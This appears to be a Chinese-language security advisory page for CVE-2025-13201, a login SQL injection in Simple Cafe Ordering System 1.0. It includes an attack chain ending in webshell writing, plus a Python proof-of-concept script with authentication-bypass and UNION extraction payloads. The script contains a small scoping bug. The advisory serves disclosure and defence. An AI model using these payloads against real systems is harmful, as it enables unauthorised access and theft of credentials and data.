IPBUF安全漏洞报告
English
CVE-2025-13201 CVSS 7.3 高危

CVE-2025-13201 Simple Cafe Ordering System登录SQL注入漏洞

披露日期: 2025-11-15

漏洞信息

漏洞编号
CVE-2025-13201
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
code-projects Simple Cafe Ordering System 1.0

相关标签

SQL注入Simple Cafe Ordering SystemCVE-2025-13201登录认证绕过code-projects高危漏洞远程代码执行Web安全

漏洞概述

CVE-2025-13201是code-projects团队开发的Simple Cafe Ordering System 1.0中存在的高危安全漏洞。该漏洞位于登录页面login.php的Username参数中,由于应用程序未对用户输入进行充分的过滤和参数化处理,导致攻击者可以通过构造恶意的SQL语句片段进行注入攻击。攻击者无需任何认证即可发起攻击,且漏洞利用代码已公开。此漏洞的CVSS评分为7.3,属于高危级别,对系统机密性、完整性和可用性均造成较低程度的影响。远程攻击者可通过互联网直接利用该漏洞,可能导致数据库敏感信息泄露、用户凭证被窃取,甚至可能通过SQL注入获取系统管理权限。该漏洞影响使用该系统进行餐饮订单管理的企业和机构,需要立即采取修复措施。

技术细节

该SQL注入漏洞存在于Simple Cafe Ordering System 1.0的登录认证模块。具体来说,login.php文件在处理Username参数时,直接将用户输入拼接到SQL查询语句中,而未使用参数化查询或输入过滤机制。攻击者可以通过在Username字段中注入SQL关键字和特殊字符,如单引号(')、UNION、AND等,构建恶意SQL语句。在正常情况下,登录功能会验证用户名和密码是否匹配,但通过SQL注入,攻击者可以利用注释符(如#或--)绕过密码验证,或使用UNION SELECT语句提取数据库中的敏感信息。由于该漏洞位于认证流程,攻击者可以在不知道有效凭证的情况下获得未授权访问权限。此外,如果数据库配置具有较高权限,攻击者还可能通过INTO OUTFILE语句写入Webshell,实现远程代码执行。

攻击链分析

STEP 1
步骤1
信息收集:攻击者访问目标网站的登录页面(login.php),确认Simple Cafe Ordering System版本为1.0
STEP 2
步骤2
漏洞探测:在Username字段中注入单引号(')测试SQL语法,观察错误响应判断是否存在SQL注入
STEP 3
步骤3
认证绕过:使用SQL注入payload(如' OR '1'='1' --)绕过密码验证,获取未授权登录
STEP 4
步骤4
数据提取:利用UNION注入提取数据库版本、用户信息、数据库名等敏感数据
STEP 5
步骤5
权限提升:根据数据库配置,可能通过INTO OUTFILE写入Webshell获取系统shell,实现RCE

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13201 PoC - Simple Cafe Ordering System SQL Injection # Target: /login.php Username parameter target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target.com/login.php" # Basic authentication bypass payload payload_bypass = "' OR '1'='1' -- " # UNION-based data extraction payload payload_union = "' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL-- " # Extract database version and user payload_info = "' UNION SELECT @@version,user(),database(),NULL,NULL,NULL,NULL-- " def exploit(url, payload): data = { 'Username': payload, 'Password': 'anything' } try: response = requests.post(url, data=data, timeout=10) return response.text except Exception as e: return f"Error: {str(e)}" print(f"[*] CVE-2025-13201 SQL Injection PoC") print(f"[*] Target: {target_url}") print("\n[1] Testing authentication bypass...") result1 = exploit(target_url, payload_bypass) if "Welcome" in result1 or "Dashboard" in result1 or response.status_code == 302: print("[+] Authentication bypass successful!") print("\n[2] Extracting database information...") result2 = exploit(target_url, payload_info) print(result2)

影响范围

Simple Cafe Ordering System 1.0

防御指南

临时缓解措施
立即停止使用存在漏洞的Simple Cafe Ordering System 1.0版本,或在登录模块部署临时访问控制策略限制登录尝试频率。同时配置Web应用防火墙规则过滤login.php页面中Username参数的SQL注入特征字符(如单引号、UNION、注释符等)。建议尽快联系官方获取修复版本或自行修复SQL注入漏洞后重新部署生产环境。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表